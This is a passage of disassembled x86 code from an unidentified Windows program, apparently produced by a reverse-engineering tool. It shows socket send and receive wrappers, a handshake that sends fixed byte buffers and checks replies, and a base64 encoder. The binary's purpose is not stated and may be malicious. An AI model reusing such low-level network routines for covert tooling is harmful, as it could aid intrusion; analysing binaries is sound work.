mov eax, [ebp+arg_0]
mov [eax], ecx
mov ecx, [ebp+var_3C]
pop edi
jmp short loc_40ECC6
; ---------------------------------------------------------------------------
loc_40ECC1: ; CODE XREF: sub_40E971+1Fj
; sub_40E971+2Dj
mov eax, [ebp+arg_0]
mov [eax], edx
loc_40ECC6: ; CODE XREF: sub_40E971+34Ej
pop esi
mov [eax+4], ecx
pop ebx
leave
retn
sub_40E971 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ECCD proc near ; CODE XREF: sub_40ED91+A1p
; sub_40ED91+C2p ...
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
and [ebp+var_4], 0
push esi
mov esi, [ebp+arg_0]
push edi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_210]
push eax
push 0
lea eax, [ebp+var_10C]
push eax
xor edi, edi
lea eax, [esi+1]
inc edi
push eax
mov [ebp+var_108], esi
mov [ebp+var_10C], edi
mov [ebp+var_20C], esi
mov [ebp+var_210], edi
mov [ebp+var_8], 0Ah
call ds:dword_42B21C ; select
cmp eax, edi
jnz short loc_40ED34
lea eax, [ebp+var_10C]
push eax
push esi
call sub_4298D6 ; __WSAFDIsSet
test eax, eax
jnz short loc_40ED38
loc_40ED34: ; CODE XREF: sub_40ECCD+54j
xor eax, eax
jmp short loc_40ED48
; ---------------------------------------------------------------------------
loc_40ED38: ; CODE XREF: sub_40ECCD+65j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call ds:dword_444064 ; recv
loc_40ED48: ; CODE XREF: sub_40ECCD+69j
pop edi
pop esi
leave
retn
sub_40ECCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED4C proc near ; CODE XREF: sub_40ED91+81p
; sub_40ED91+ABp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_8]
call ds:dword_444234 ; htonl
push 0
mov [ebp+var_4], eax
push 4
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call ds:dword_4441A0 ; send
cmp eax, 4
jz short loc_40ED76
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40ED76: ; CODE XREF: sub_40ED4C+24j
push 0
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_4441A0 ; send
sub eax, [ebp+arg_8]
neg eax
sbb eax, eax
inc eax
leave
retn
sub_40ED4C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ED91 proc near ; CODE XREF: sub_40EE6B+48p
; seg000:0040F828p
var_104 = byte ptr -104h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 104h
push ebx
push esi
push edi
mov edi, [ebp+arg_8]
lea ebx, [edi+41h]
push ebx
mov [ebp+var_4], ebx
call sub_41E5D3
mov esi, eax
test esi, esi
pop ecx
jnz short loc_40EDBA
xor al, al
jmp loc_40EE66
; ---------------------------------------------------------------------------
loc_40EDBA: ; CODE XREF: sub_40ED91+20j
push ebx
push 0
push esi
call sub_41E5F0
push 2Fh
push offset dword_43F7EC
push esi
call sub_41F400
push 8
lea eax, [esi+31h]
push offset dword_43F7E0
push eax
mov [esi+2Fh], di
call sub_41F400
push edi
push [ebp+arg_4]
lea ebx, [esi+3Bh]
push ebx
mov [esi+39h], di
call sub_41F400
push 6
push offset dword_4D50CC
add ebx, edi
push ebx
call sub_41F400
mov ebx, [ebp+arg_0]
push 85h
push offset dword_43F758
push ebx
call sub_40ED4C
add esp, 48h
test al, al
jnz short loc_40EE22
loc_40EE1E: ; CODE XREF: sub_40ED91+B5j
xor bl, bl
jmp short loc_40EE5D
; ---------------------------------------------------------------------------
loc_40EE22: ; CODE XREF: sub_40ED91+8Bj
push 0
mov edi, 100h
push edi
lea eax, [ebp+var_104]
push eax
push ebx
call sub_40ECCD
push [ebp+var_4]
push esi
push ebx
call sub_40ED4C
add esp, 1Ch
test al, al
jz short loc_40EE1E
push 0
push edi
lea eax, [ebp+var_104]
push eax
push ebx
call sub_40ECCD
add esp, 10h
mov bl, 1
loc_40EE5D: ; CODE XREF: sub_40ED91+8Fj
push esi
call sub_41E2A1
pop ecx
mov al, bl
loc_40EE66: ; CODE XREF: sub_40ED91+24j
pop edi
pop esi
pop ebx
leave
retn
sub_40ED91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EE6B proc near ; CODE XREF: seg000:0040F80Ep
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push 0
push 48h
push offset unk_43F820
push [ebp+arg_0]
call ds:dword_42B210 ; send
cmp eax, 48h
jnz short loc_40EEA6
push 0
push 20h
lea eax, [ebp+var_20]
push eax
push [ebp+arg_0]
call sub_40ECCD
add esp, 10h
cmp eax, 0FFFFFFFFh
jz short loc_40EEA6
cmp [ebp+var_20], 82h
jz short loc_40EEAA
loc_40EEA6: ; CODE XREF: sub_40EE6B+1Bj
; sub_40EE6B+33j
xor al, al
leave
retn
; ---------------------------------------------------------------------------
loc_40EEAA: ; CODE XREF: sub_40EE6B+39j
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40ED91
add esp, 0Ch
leave
retn
sub_40EE6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EEBD proc near ; CODE XREF: sub_40F47A+29p
var_10 = qword ptr -10h
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_0]
shl eax, 3
test eax, eax
mov [ebp+arg_0], eax
fild [ebp+arg_0]
jge short loc_40EED8
fadd ds:dbl_433088
loc_40EED8: ; CODE XREF: sub_40EEBD+13j
fmul ds:dbl_433080
call sub_41FE38
test eax, eax
mov [ebp+arg_0], eax
fild [ebp+arg_0]
jge short loc_40EEF3
fadd ds:dbl_433088
loc_40EEF3: ; CODE XREF: sub_40EEBD+2Ej
fst [ebp+var_8]
push ecx
fmul ds:dbl_433078
push ecx
fstp [esp+10h+var_10]
call sub_41FCC0
fadd st, st
pop ecx
pop ecx
fadd [ebp+var_8]
call sub_41FE38
inc eax
leave
retn
sub_40EEBD endp
; =============== S U B R O U T I N E =======================================
sub_40EF15 proc near ; CODE XREF: sub_40F28C+Bp
; sub_40F3AB+Bp
arg_0 = dword ptr 4
push esi
mov esi, [ecx+18h]
cmp esi, 10h
lea eax, [ecx+4]
jb short loc_40EF25
mov edx, [eax]
jmp short loc_40EF27
; ---------------------------------------------------------------------------
loc_40EF25: ; CODE XREF: sub_40EF15+Aj
mov edx, eax
loc_40EF27: ; CODE XREF: sub_40EF15+Ej
cmp [esp+4+arg_0], edx
jb short loc_40EF43
cmp esi, 10h
jb short loc_40EF34
mov eax, [eax]
loc_40EF34: ; CODE XREF: sub_40EF15+1Bj
mov ecx, [ecx+14h]
add ecx, eax
cmp ecx, [esp+4+arg_0]
jbe short loc_40EF43
mov al, 1
jmp short loc_40EF45
; ---------------------------------------------------------------------------
loc_40EF43: ; CODE XREF: sub_40EF15+16j
; sub_40EF15+28j
xor al, al
loc_40EF45: ; CODE XREF: sub_40EF15+2Cj
pop esi
retn 4
sub_40EF15 endp
; =============== S U B R O U T I N E =======================================
sub_40EF49 proc near ; CODE XREF: sub_40EF65+40p
; sub_40EFAE+5Fp ...
arg_0 = dword ptr 4
cmp dword ptr [ecx+18h], 10h
mov eax, [esp+arg_0]
mov [ecx+14h], eax
jb short loc_40EF5B
mov ecx, [ecx+4]
jmp short loc_40EF5E
; ---------------------------------------------------------------------------
loc_40EF5B: ; CODE XREF: sub_40EF49+Bj
add ecx, 4
loc_40EF5E: ; CODE XREF: sub_40EF49+10j
mov byte ptr [ecx+eax], 0
retn 4
sub_40EF49 endp
; =============== S U B R O U T I N E =======================================
sub_40EF65 proc near ; CODE XREF: sub_40F024+ADp
; sub_40F10C+3Ep ...
arg_0 = byte ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_40EF98
cmp dword ptr [esi+18h], 10h
jb short loc_40EF98
cmp [esp+4+arg_4], 0
lea eax, [esi+4]
push edi
mov edi, [eax]
jbe short loc_40EF90
push [esp+8+arg_4]
push edi
push eax
call sub_41F400
add esp, 0Ch
loc_40EF90: ; CODE XREF: sub_40EF65+1Bj
push edi
call sub_41FEAD
pop ecx
pop edi
loc_40EF98: ; CODE XREF: sub_40EF65+8j
; sub_40EF65+Ej
push [esp+4+arg_4]
mov ecx, esi
mov dword ptr [esi+18h], 0Fh
call sub_40EF49
pop esi
retn 8
sub_40EF65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40EFAE proc near ; CODE XREF: sub_40F31C+33p
; sub_40F31C+3Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
mov esi, ecx
cmp [esi+14h], edi
jnb short loc_40EFC2
call sub_4297E3
loc_40EFC2: ; CODE XREF: sub_40EFAE+Dj
mov eax, [esi+14h]
sub eax, edi
cmp eax, [ebp+arg_4]
jnb short loc_40EFCF
mov [ebp+arg_4], eax
loc_40EFCF: ; CODE XREF: sub_40EFAE+1Cj
cmp [ebp+arg_4], 0
jbe short loc_40F012
push ebx
mov ebx, [esi+18h]
cmp ebx, 10h
lea ecx, [esi+4]
jb short loc_40EFE5
mov edx, [ecx]
jmp short loc_40EFE7
; ---------------------------------------------------------------------------
loc_40EFE5: ; CODE XREF: sub_40EFAE+31j
mov edx, ecx
loc_40EFE7: ; CODE XREF: sub_40EFAE+35j
cmp ebx, 10h
pop ebx
jb short loc_40EFEF
mov ecx, [ecx]
loc_40EFEF: ; CODE XREF: sub_40EFAE+3Dj
sub eax, [ebp+arg_4]
add edx, edi
add edx, [ebp+arg_4]
push eax
push edx
add ecx, edi
push ecx
call sub_41F980
mov eax, [esi+14h]
sub eax, [ebp+arg_4]
add esp, 0Ch
push eax
mov ecx, esi
call sub_40EF49
loc_40F012: ; CODE XREF: sub_40EFAE+25j
pop edi
mov eax, esi
pop esi
pop ebp
retn 8
sub_40EFAE endp
; ---------------------------------------------------------------------------
dw 6Ah
dd 42E8016Ah, 0C3FFFFFFh
; =============== S U B R O U T I N E =======================================
sub_40F024 proc near ; CODE XREF: sub_40F10C+1Dp
mov eax, offset a0jc ; "¸0¦C"
call sub_420364
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+8]
push edi
or esi, 0Fh
cmp esi, 0FFFFFFFEh
mov edi, ecx
mov [ebp-10h], esp
mov [ebp-18h], edi
jbe short loc_40F04C
mov esi, [ebp+8]
jmp short loc_40F071
; ---------------------------------------------------------------------------
loc_40F04C: ; CODE XREF: sub_40F024+21j
xor edx, edx
push 3
mov eax, esi
pop ebx
div ebx
mov ecx, [edi+18h]
mov [ebp-14h], ecx
shr dword ptr [ebp-14h], 1
mov edx, [ebp-14h]
cmp eax, edx
jnb short loc_40F071
push 0FFFFFFFEh
pop eax
sub eax, edx
cmp ecx, eax
ja short loc_40F071
lea esi, [edx+ecx]
loc_40F071: ; CODE XREF: sub_40F024+26j
; sub_40F024+3Fj ...
and dword ptr [ebp-4], 0
lea eax, [esi+1]
push eax
call sub_41FEB2
pop ecx
mov ebx, eax
jmp short loc_40F0AA
; ---------------------------------------------------------------------------
byte_40F083 db 8Bh ; DATA XREF: seg001:0043A604o
dd 45890845h, 65894008h, 45C650F0h, 1BE802FCh, 8900010Eh
dd 0B859EC45h, 40F0A1h, 0E87D8BC3h, 8B08758Bh
db 5Dh, 0ECh
; ---------------------------------------------------------------------------
loc_40F0AA: ; CODE XREF: sub_40F024+5Dj
cmp dword ptr [ebp+0Ch], 0
jbe short loc_40F0CB
cmp dword ptr [edi+18h], 10h
jb short loc_40F0BB
mov eax, [edi+4]
jmp short loc_40F0BE
; ---------------------------------------------------------------------------
loc_40F0BB: ; CODE XREF: sub_40F024+90j
lea eax, [edi+4]
loc_40F0BE: ; CODE XREF: sub_40F024+95j
push dword ptr [ebp+0Ch]
push eax
push ebx
call sub_41F400
add esp, 0Ch
loc_40F0CB: ; CODE XREF: sub_40F024+8Aj
push 0
push 1
mov ecx, edi
call sub_40EF65
push dword ptr [ebp+0Ch]
mov ecx, edi
mov [edi+4], ebx
mov [edi+18h], esi
call sub_40EF49
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_40F024 endp
; ---------------------------------------------------------------------------
byte_40F0F7 db 8Bh ; DATA XREF: seg001:0043A5F4o
dd 0F633E84Dh, 0E8016A56h, 0FFFFFE61h, 78E85656h, 0CC000112h
; =============== S U B R O U T I N E =======================================
sub_40F10C proc near ; CODE XREF: sub_40F16A+48p
; sub_40F1FF+26p ...
arg_0 = dword ptr 4
arg_8 = byte ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
cmp edi, 0FFFFFFFEh
mov esi, ecx
jbe short loc_40F11E
call sub_42987E
loc_40F11E: ; CODE XREF: sub_40F10C+Bj
cmp [esi+18h], edi
jnb short loc_40F130
push dword ptr [esi+14h]
mov ecx, esi
push edi
call sub_40F024
jmp short loc_40F15D
; ---------------------------------------------------------------------------
loc_40F130: ; CODE XREF: sub_40F10C+15j
cmp [esp+4+arg_8], 0
jz short loc_40F151
cmp edi, 10h
jnb short loc_40F151
mov eax, [esi+14h]
cmp edi, eax
jnb short loc_40F145
mov eax, edi
loc_40F145: ; CODE XREF: sub_40F10C+35j
push eax
push 1
mov ecx, esi
call sub_40EF65
jmp short loc_40F15D
; ---------------------------------------------------------------------------
loc_40F151: ; CODE XREF: sub_40F10C+29j
; sub_40F10C+2Ej
test edi, edi
jnz short loc_40F15D
push edi
mov ecx, esi
call sub_40EF49
loc_40F15D: ; CODE XREF: sub_40F10C+22j
; sub_40F10C+43j ...
xor eax, eax
cmp eax, edi
sbb eax, eax
pop edi
neg eax
pop esi
retn 8
sub_40F10C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F16A proc near ; CODE XREF: sub_40F28C+2Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
mov edi, [ebp+arg_4]
cmp [ebx+14h], edi
mov esi, ecx
jnb short loc_40F182
call sub_4297E3
loc_40F182: ; CODE XREF: sub_40F16A+11j
mov eax, [ebx+14h]
sub eax, edi
cmp eax, [ebp+arg_8]
jnb short loc_40F18F
mov [ebp+arg_8], eax
loc_40F18F: ; CODE XREF: sub_40F16A+20j
or eax, 0FFFFFFFFh
sub eax, [esi+14h]
cmp eax, [ebp+arg_8]
ja short loc_40F1A1
mov ecx, esi
call sub_42987E
loc_40F1A1: ; CODE XREF: sub_40F16A+2Ej
cmp [ebp+arg_8], 0
jbe short loc_40F1F6
mov edi, [esi+14h]
add edi, [ebp+arg_8]
push 0
push edi
mov ecx, esi
call sub_40F10C
test al, al
jz short loc_40F1F6
cmp dword ptr [ebx+18h], 10h
jb short loc_40F1C6
mov ebx, [ebx+4]
jmp short loc_40F1C9
; ---------------------------------------------------------------------------
loc_40F1C6: ; CODE XREF: sub_40F16A+55j
add ebx, 4
loc_40F1C9: ; CODE XREF: sub_40F16A+5Aj
cmp dword ptr [esi+18h], 10h
jb short loc_40F1D4
mov eax, [esi+4]
jmp short loc_40F1D7
; ---------------------------------------------------------------------------
loc_40F1D4: ; CODE XREF: sub_40F16A+63j
lea eax, [esi+4]
loc_40F1D7: ; CODE XREF: sub_40F16A+68j
mov ecx, [ebp+arg_4]
push [ebp+arg_8]
add ebx, ecx
mov ecx, [esi+14h]
add ecx, eax
push ebx
push ecx
call sub_41F400
add esp, 0Ch
push edi
mov ecx, esi
call sub_40EF49
loc_40F1F6: ; CODE XREF: sub_40F16A+3Bj
; sub_40F16A+4Fj
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_40F16A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F1FF proc near ; CODE XREF: sub_40F47A+111p
; sub_40F47A+142p
arg_0 = dword ptr 4
arg_8 = dword ptr 0Ch
push ebx
mov ebx, [esp+4+arg_0]
push esi
or eax, 0FFFFFFFFh
mov esi, ecx
sub eax, [esi+14h]
cmp eax, ebx
ja short loc_40F216
call sub_42987E
loc_40F216: ; CODE XREF: sub_40F1FF+10j
test ebx, ebx
jbe short loc_40F258
push edi
mov edi, [esi+14h]
push 0
add edi, ebx
push edi
mov ecx, esi
call sub_40F10C
test al, al
jz short loc_40F257
cmp dword ptr [esi+18h], 10h
jb short loc_40F239
mov eax, [esi+4]
jmp short loc_40F23C
; ---------------------------------------------------------------------------
loc_40F239: ; CODE XREF: sub_40F1FF+33j
lea eax, [esi+4]
loc_40F23C: ; CODE XREF: sub_40F1FF+38j
push [esp+8+arg_8]
mov ecx, [esi+14h]
add ecx, eax
push ebx
push ecx
call sub_40E6FA
add esp, 0Ch
push edi
mov ecx, esi
call sub_40EF49
loc_40F257: ; CODE XREF: sub_40F1FF+2Dj
pop edi
loc_40F258: ; CODE XREF: sub_40F1FF+19j
mov eax, esi
pop esi
pop ebx
retn 8
sub_40F1FF endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40F25F proc near ; CODE XREF: sub_40F47A+33p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push edi
mov edi, [esi+14h]
cmp edi, eax
ja short loc_40F287
cmp [esi+18h], eax
jz short loc_40F287
push 1
push eax
call sub_40F10C
test al, al
jz short loc_40F287
push edi
mov ecx, esi
call sub_40EF49
loc_40F287: ; CODE XREF: sub_40F25F+Dj
; sub_40F25F+12j ...
pop edi
pop esi
retn 4
sub_40F25F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F28C proc near ; CODE XREF: sub_40F440+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
push ebx
mov esi, ecx
call sub_40EF15
test al, al
jz short loc_40F2BE
cmp dword ptr [esi+18h], 10h
jb short loc_40F2AB
mov eax, [esi+4]
jmp short loc_40F2AE
; ---------------------------------------------------------------------------
loc_40F2AB: ; CODE XREF: sub_40F28C+18j
lea eax, [esi+4]
loc_40F2AE: ; CODE XREF: sub_40F28C+1Dj
push [ebp+arg_4]
sub ebx, eax
push ebx
push esi
mov ecx, esi
call sub_40F16A
jmp short loc_40F316
; ---------------------------------------------------------------------------
loc_40F2BE: ; CODE XREF: sub_40F28C+12j
or eax, 0FFFFFFFFh
sub eax, [esi+14h]
cmp eax, [ebp+arg_4]
ja short loc_40F2D0
mov ecx, esi
call sub_42987E
loc_40F2D0: ; CODE XREF: sub_40F28C+3Bj
cmp [ebp+arg_4], 0
jbe short loc_40F314
push edi
mov edi, [esi+14h]
add edi, [ebp+arg_4]
push 0
push edi
mov ecx, esi
call sub_40F10C
test al, al
jz short loc_40F313
cmp dword ptr [esi+18h], 10h
jb short loc_40F2F6
mov eax, [esi+4]
jmp short loc_40F2F9
; ---------------------------------------------------------------------------
loc_40F2F6: ; CODE XREF: sub_40F28C+63j
lea eax, [esi+4]
loc_40F2F9: ; CODE XREF: sub_40F28C+68j
push [ebp+arg_4]
mov ecx, [esi+14h]
add ecx, eax
push ebx
push ecx
call sub_41F400
add esp, 0Ch
push edi
mov ecx, esi
call sub_40EF49
loc_40F313: ; CODE XREF: sub_40F28C+5Dj
pop edi
loc_40F314: ; CODE XREF: sub_40F28C+48j
mov eax, esi
loc_40F316: ; CODE XREF: sub_40F28C+30j
pop esi
pop ebx
pop ebp
retn 8
sub_40F28C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F31C proc near ; CODE XREF: sub_40F3AB+2Bp
; sub_40F41A+1Bp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
cmp [edi+14h], eax
mov ebx, ecx
jnb short loc_40F334
call sub_4297E3
loc_40F334: ; CODE XREF: sub_40F31C+11j
mov esi, [edi+14h]
mov eax, [ebp+arg_4]
sub esi, eax
cmp [ebp+arg_8], esi
jnb short loc_40F344
mov esi, [ebp+arg_8]
loc_40F344: ; CODE XREF: sub_40F31C+23j
cmp ebx, edi
mov ecx, ebx
jnz short loc_40F362
push 0FFFFFFFFh
add esi, eax
push esi
call sub_40EFAE
push [ebp+arg_4]
mov ecx, ebx
push 0
call sub_40EFAE
jmp short loc_40F3A2
; ---------------------------------------------------------------------------
loc_40F362: ; CODE XREF: sub_40F31C+2Cj
push 0
push esi
call sub_40F10C
test al, al
jz short loc_40F3A2
cmp dword ptr [edi+18h], 10h
jb short loc_40F379
mov edi, [edi+4]
jmp short loc_40F37C
; ---------------------------------------------------------------------------
loc_40F379: ; CODE XREF: sub_40F31C+56j
add edi, 4
loc_40F37C: ; CODE XREF: sub_40F31C+5Bj
cmp dword ptr [ebx+18h], 10h
jb short loc_40F387
mov eax, [ebx+4]
jmp short loc_40F38A
; ---------------------------------------------------------------------------
loc_40F387: ; CODE XREF: sub_40F31C+64j
lea eax, [ebx+4]
loc_40F38A: ; CODE XREF: sub_40F31C+69j
mov ecx, [ebp+arg_4]
push esi
add edi, ecx
push edi
push eax
call sub_41F400
add esp, 0Ch
push esi
mov ecx, ebx
call sub_40EF49
loc_40F3A2: ; CODE XREF: sub_40F31C+44j
; sub_40F31C+50j
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
retn 0Ch
sub_40F31C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F3AB proc near ; CODE XREF: sub_40F45D+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
push edi
mov esi, ecx
call sub_40EF15
test al, al
jz short loc_40F3DD
cmp dword ptr [esi+18h], 10h
jb short loc_40F3CA
mov eax, [esi+4]
jmp short loc_40F3CD
; ---------------------------------------------------------------------------
loc_40F3CA: ; CODE XREF: sub_40F3AB+18j
lea eax, [esi+4]
loc_40F3CD: ; CODE XREF: sub_40F3AB+1Dj
push [ebp+arg_4]
sub edi, eax
push edi
push esi
mov ecx, esi
call sub_40F31C
jmp short loc_40F414
; ---------------------------------------------------------------------------
loc_40F3DD: ; CODE XREF: sub_40F3AB+12j
push 0
push [ebp+arg_4]
mov ecx, esi
call sub_40F10C
test al, al
jz short loc_40F412
cmp dword ptr [esi+18h], 10h
jb short loc_40F3F8
mov eax, [esi+4]
jmp short loc_40F3FB
; ---------------------------------------------------------------------------
loc_40F3F8: ; CODE XREF: sub_40F3AB+46j
lea eax, [esi+4]
loc_40F3FB: ; CODE XREF: sub_40F3AB+4Bj
push [ebp+arg_4]
push edi
push eax
call sub_41F400
add esp, 0Ch
push [ebp+arg_4]
mov ecx, esi
call sub_40EF49
loc_40F412: ; CODE XREF: sub_40F3AB+40j
mov eax, esi
loc_40F414: ; CODE XREF: sub_40F3AB+30j
pop edi
pop esi
pop ebp
retn 8
sub_40F3AB endp
; =============== S U B R O U T I N E =======================================
sub_40F41A proc near ; CODE XREF: sub_40F47A+15Cp
; sub_429712+26p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
push 0
mov dword ptr [esi+18h], 0Fh
call sub_40EF49
push 0FFFFFFFFh
push 0
push [esp+0Ch+arg_0]
mov ecx, esi
call sub_40F31C
mov eax, esi
pop esi
retn 4
sub_40F41A endp
; =============== S U B R O U T I N E =======================================
sub_40F440 proc near ; CODE XREF: sub_40F47A+128p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_41E1C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40F28C
pop esi
retn 4
sub_40F440 endp
; =============== S U B R O U T I N E =======================================
sub_40F45D proc near ; CODE XREF: sub_40F6AF+17p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_41E1C0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40F3AB
pop esi
retn 4
sub_40F45D endp
; =============== S U B R O U T I N E =======================================
sub_40F47A proc near ; CODE XREF: sub_40F5F6+23p
var_40 = qword ptr -40h
mov eax, offset aTjc ; "¸T¦C"
call sub_420364
sub esp, 2Ch
push edi
xor edi, edi
push edi
lea ecx, [ebp-38h]
mov [ebp-1Ch], edi
mov dword ptr [ebp-20h], 0Fh
call sub_40EF49
push dword ptr [ebp+10h]
mov [ebp-4], edi
call sub_40EEBD
pop ecx
push eax
lea ecx, [ebp-38h]
call sub_40F25F
cmp [ebp+10h], edi
mov [ebp-18h], edi
jbe loc_40F5CF
push ebx
mov ebx, [ebp+10h]
push esi
loc_40F4C3: ; CODE XREF: sub_40F47A+14Dj
cmp dword ptr [ebp+10h], 3
jb short loc_40F4CE
push 3
loc_40F4CB: ; CODE XREF: sub_40F47A+5Cj
pop ebx
jmp short loc_40F4E1
; ---------------------------------------------------------------------------
loc_40F4CE: ; CODE XREF: sub_40F47A+4Dj
cmp dword ptr [ebp+10h], 2
jnz short loc_40F4D8
push 2
jmp short loc_40F4CB
; ---------------------------------------------------------------------------
loc_40F4D8: ; CODE XREF: sub_40F47A+58j
cmp dword ptr [ebp+10h], 1
jnz short loc_40F4E1
xor ebx, ebx
inc ebx
loc_40F4E1: ; CODE XREF: sub_40F47A+52j
; sub_40F47A+62j
test ebx, ebx
mov [ebp-1Ch], ebx
fild dword ptr [ebp-1Ch]
jge short loc_40F4F1
fadd ds:dbl_433088
loc_40F4F1: ; CODE XREF: sub_40F47A+6Fj
fmul ds:dbl_433090
push ecx
push ecx
fstp [esp+40h+var_40]
call sub_4203C0
pop ecx
pop ecx
call sub_41FE38
cmp ebx, edi
mov [ebp-1Ch], eax
jbe short loc_40F527
mov esi, [ebp+0Ch]
mov ecx, ebx
mov edx, ecx
shr ecx, 2
lea edi, [ebp-10h]
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
xor edi, edi
loc_40F527: ; CODE XREF: sub_40F47A+93j
mov cl, [ebp-10h]
mov dl, [ebp-10h]
sar cl, 2
and cl, 3Fh
add [ebp+0Ch], ebx
sub [ebp+10h], ebx
mov [ebp-14h], cl
mov cl, [ebp-0Fh]
sar cl, 4
and cl, 0Fh
and dl, 3
shl dl, 4
add cl, dl
mov dl, [ebp-0Fh]
mov [ebp-13h], cl
mov cl, [ebp-0Eh]
sar cl, 6
and cl, 3
and dl, 0Fh
shl dl, 2
add cl, dl
mov [ebp-12h], cl
mov cl, [ebp-0Eh]
and cl, 3Fh
xor esi, esi
cmp eax, edi
mov [ebp-11h], cl
jbe short loc_40F596
add [ebp-18h], eax
loc_40F579: ; CODE XREF: sub_40F47A+11Aj
movsx eax, byte ptr [ebp+esi-14h]
movsx eax, ds:byte_43F870[eax]
push eax
push 1
lea ecx, [ebp-38h]
call sub_40F1FF
inc esi
cmp esi, [ebp-1Ch]
jb short loc_40F579
loc_40F596: ; CODE XREF: sub_40F47A+FAj
cmp dword ptr [ebp-18h], 48h
jb short loc_40F5AA
push dword ptr [ebp+14h]
lea ecx, [ebp-38h]
call sub_40F440
mov [ebp-18h], edi
loc_40F5AA: ; CODE XREF: sub_40F47A+120j
push 4
pop esi
cmp [ebp-1Ch], esi
jnb short loc_40F5C4
sub esi, [ebp-1Ch]
loc_40F5B5: ; CODE XREF: sub_40F47A+148j
push 3Dh
push 1
lea ecx, [ebp-38h]
call sub_40F1FF
dec esi
jnz short loc_40F5B5
loc_40F5C4: ; CODE XREF: sub_40F47A+136j
cmp [ebp+10h], edi
ja loc_40F4C3
pop esi
pop ebx
loc_40F5CF: ; CODE XREF: sub_40F47A+3Ej
mov ecx, [ebp+8]
lea eax, [ebp-38h]
push eax
call sub_40F41A
push edi
push 1
lea ecx, [ebp-38h]
call sub_40EF65
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
mov large fs:0, ecx
leave
retn
sub_40F47A endp
; =============== S U B R O U T I N E =======================================
sub_40F5F6 proc near ; CODE XREF: seg000:0040F7F1p
mov eax, offset aAjc ; "¸€¦C"
call sub_420364
sub esp, 1Ch
push ebx
push esi
push edi
and dword ptr [ebp-4], 0
push offset byte_42B633
push dword ptr [ebp+10h]
lea eax, [ebp-28h]
push dword ptr [ebp+0Ch]
push eax
call sub_40F47A
mov eax, [ebp+28h]
mov ecx, [ebp-14h]
lea esi, [ecx+eax+36h]
push esi
mov byte ptr [ebp-4], 1
call sub_41E5D3
mov edi, eax
add esp, 14h
test edi, edi
jnz short loc_40F63F
xor bl, bl
jmp short loc_40F686
; ---------------------------------------------------------------------------
loc_40F63F: ; CODE XREF: sub_40F5F6+43j
cmp dword ptr [ebp-10h], 10h
mov ecx, [ebp-24h]
jnb short loc_40F64B
lea ecx, [ebp-24h]
loc_40F64B: ; CODE XREF: sub_40F5F6+50j
cmp dword ptr [ebp+2Ch], 10h
mov eax, [ebp+18h]
